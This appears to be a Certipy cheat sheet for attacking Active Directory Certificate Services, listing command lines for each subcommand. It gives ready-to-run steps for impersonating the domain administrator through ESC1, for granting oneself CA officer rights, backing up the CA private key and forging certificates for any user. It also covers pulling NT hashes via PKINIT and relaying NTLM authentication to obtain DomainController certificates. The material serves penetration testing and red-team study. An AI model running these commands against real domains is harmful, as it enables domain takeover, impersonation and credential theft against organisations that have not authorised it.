Certipy is the primary Linux tool for AD CS enumeration and exploitation: it finds vulnerable certificate templates (ESC1–ESC16), requests and forges certificates, authenticates via PKINIT/Schannel, and manages shadow credentials and CA configuration.
Every subcommand accepts these; omitted from individual examples for brevity.
Flag
Description
-u $USER@$DOMAIN -p $PASSWORD
Username + password
-hashes :$NTHASH
Pass-the-hash
-k -no-pass
Kerberos (KRB5CCNAME must be set)
-aes $AES_KEY
AES key for Kerberos
-dc-ip $DC_IP
Domain controller IP
-dc-host $DC_HOST
DC hostname (use with Kerberos)
-ns $DC_IP
Nameserver for DNS resolution
-debug
Verbose output
find — Enumerate and Discover Vulnerabilities
Enumerate all CA and template configurations and check for ESC conditions.
# Quick: print only vulnerable findings to stdoutcertipy find -u $USER@$DOMAIN -p $PASSWORD \ -dc-ip $DC_IP -vulnerable -stdout# Full: write JSON + text files (prefix = output)certipy find -u $USER@$DOMAIN -p $PASSWORD \ -dc-ip $DC_IP# Kerberoscertipy find -u $USER@$DOMAIN -k -no-pass \ -dc-ip $DC_IP -vulnerable -stdout# Filterscertipy find ... -enabled # only enabled templatescertipy find ... -vulnerable # only vulnerable templatescertipy find ... -hide-admins # suppress entries only exploitable by adminscertipy find ... -oids # show Issuance Policy OIDs (needed for ESC13)certipy find ... -dc-only # collect via LDAP only (no RPC to CA)certipy find ... -output prefix # save to prefix.json / prefix.txtcertipy find ... -text/-json/-csv # force specific output format
req — Request Certificates
# Basic request (uses User template by default)certipy req -u $USER@$DOMAIN -p $PASSWORD \ -dc-ip $DC_IP -target $CA_HOST \ -ca $CA -template $TEMPLATE# ESC1: supply UPN in SAN to impersonate another usercertipy req -u $USER@$DOMAIN -p $PASSWORD \ -dc-ip $DC_IP -target $CA_HOST \ -ca $CA -template $TEMPLATE \ -upn administrator@$DOMAIN \ -sid S-1-5-21-...-500 # include SID for patched DCs (KB5014754)# ESC2/ESC3: request on behalf of another user (enrollment agent)certipy req -u $USER@$DOMAIN -p $PASSWORD \ -dc-ip $DC_IP -target $CA_HOST \ -ca $CA -template User \ -on-behalf-of $DOMAIN\\administrator \ -pfx agent.pfx# ESC7 step 5: retrieve an already-issued/approved request by IDcertipy req -u $USER@$DOMAIN -p $PASSWORD \ -dc-ip $DC_IP -target $CA_HOST \ -ca $CA -retrieve $REQUEST_ID# ESC15: inject application policy OID into a v1 templatecertipy req -u $USER@$DOMAIN -p $PASSWORD \ -dc-ip $DC_IP -target $CA_HOST \ -ca $CA -template $TEMPLATE \ --application-policies "1.3.6.1.4.1.311.20.2.1"# Alternative enrollment methods (when RPC is blocked)certipy req ... -web # HTTP (certsrv)certipy req ... -dcom # DCOMcertipy req ... -dynamic-endpoint # RPC over dynamic endpoint# Other useful flagscertipy req ... -dns $HOSTNAME # request with DNS SANcertipy req ... -subject "CN=User,DC=corp,DC=local"certipy req ... -out custom_name # override output filename
auth — Authenticate with a Certificate
Authenticate using a PFX to obtain either an NT hash (PKINIT) or a TGT. Falls back to LDAP shell via Schannel when PKINIT is unavailable.
# PKINIT: get NT hashcertipy auth -pfx administrator.pfx -dc-ip $DC_IP# Get TGT only (no hash extraction)certipy auth -pfx administrator.pfx -dc-ip $DC_IP -no-hash# Save TGT as .kirbicertipy auth -pfx administrator.pfx -dc-ip $DC_IP -kirbi# LDAP shell via Schannel (when no PKINIT/smart card EKU)certipy auth -pfx administrator.pfx -dc-ip $DC_IP -ldap-shell# Specify domain when cert CN doesn't match (e.g. after UPN swap ESC9/ESC10)certipy auth -pfx administrator.pfx -dc-ip $DC_IP -domain $DOMAIN# PFX with a passwordcertipy auth -pfx administrator.pfx -pfx-password 'pfxpass' -dc-ip $DC_IP
The LDAP shell (-ldap-shell) supports common operations: add_user_to_group, set_rbcd, get_laps_password, change_password, set_dontreqpreauth. Type help once connected.
ca — Manage the Certificate Authority
Requires ManageCA or ManageCertificates rights. Used primarily in ESC7 and ESC5.
# List enabled templates on the CAcertipy ca -u $USER@$DOMAIN -p $PASSWORD \ -dc-ip $DC_IP -target $CA_HOST -ca $CA \ -list-templates# Enable / disable a templatecertipy ca ... -enable-template SubCAcertipy ca ... -disable-template SubCA# Issue a pending or denied request (ESC7 step 4)certipy ca ... -issue-request $REQUEST_ID# Deny a requestcertipy ca ... -deny-request $REQUEST_ID# Grant yourself Certificate Officer role (ESC7 step 2)certipy ca ... -add-officer $USERcertipy ca ... -remove-officer $USER# Back up the CA private key and cert (ESC12 — needs admin on CA)certipy ca -u $USER@$DOMAIN -p $PASSWORD \ -target $CA_HOST -ca $CA -backup
Requires the CA private key (obtained via ESC12 backup or physical access to CA).
# Forge a cert for any usercertipy forge -ca-pfx $CA.pfx \ -upn administrator@$DOMAIN \ -sid S-1-5-21-...-500# With CRL distribution point (required to avoid KDC_ERROR_CLIENT_NOT_TRUSTED)certipy forge -ca-pfx $CA.pfx \ -upn administrator@$DOMAIN \ -sid S-1-5-21-...-500 \ -crl 'ldap:///'# Clone properties from a legitimate certcertipy forge -ca-pfx $CA.pfx \ -template legitimate.pfx \ -upn administrator@$DOMAIN \ -sid S-1-5-21-...-500# Forge for a computer account (DNS SAN)certipy forge -ca-pfx $CA.pfx \ -dns dc.corp.local \ -sid S-1-5-21-...-1000# Control outputcertipy forge ... -out admin_forged.pfx -pfx-password 'abc'certipy forge ... -key-size 4096 -validity-period 365
relay — NTLM Relay to AD CS
Relay incoming NTLM authentication to the certsrv HTTP endpoint. Run while coercing a target machine’s authentication.
# Relay to certsrv HTTP and request a DomainController certcertipy relay -target http://$CA_HOST -template DomainController# Relay with specific CAcertipy relay -target http://$CA_HOST/certsrv/certfnsh.asp \ -ca $CA -template DomainController# Relay and request a User cert instead (for ESC8 against workstations)certipy relay -target http://$CA_HOST -template User# Keep relay server alive for multiple capturescertipy relay -target http://$CA_HOST -template DomainController -forever# Retrieve an already-issued cert by request ID (if relay caught the auth but cert wasn't saved)certipy relay -target http://$CA_HOST -retrieve $REQUEST_ID# Enumerate templates the relayed user can enrol incertipy relay -target http://$CA_HOST -enum-templates# Bind to a specific interfacecertipy relay -target http://$CA_HOST -template DomainController \ -interface $LHOST -port 445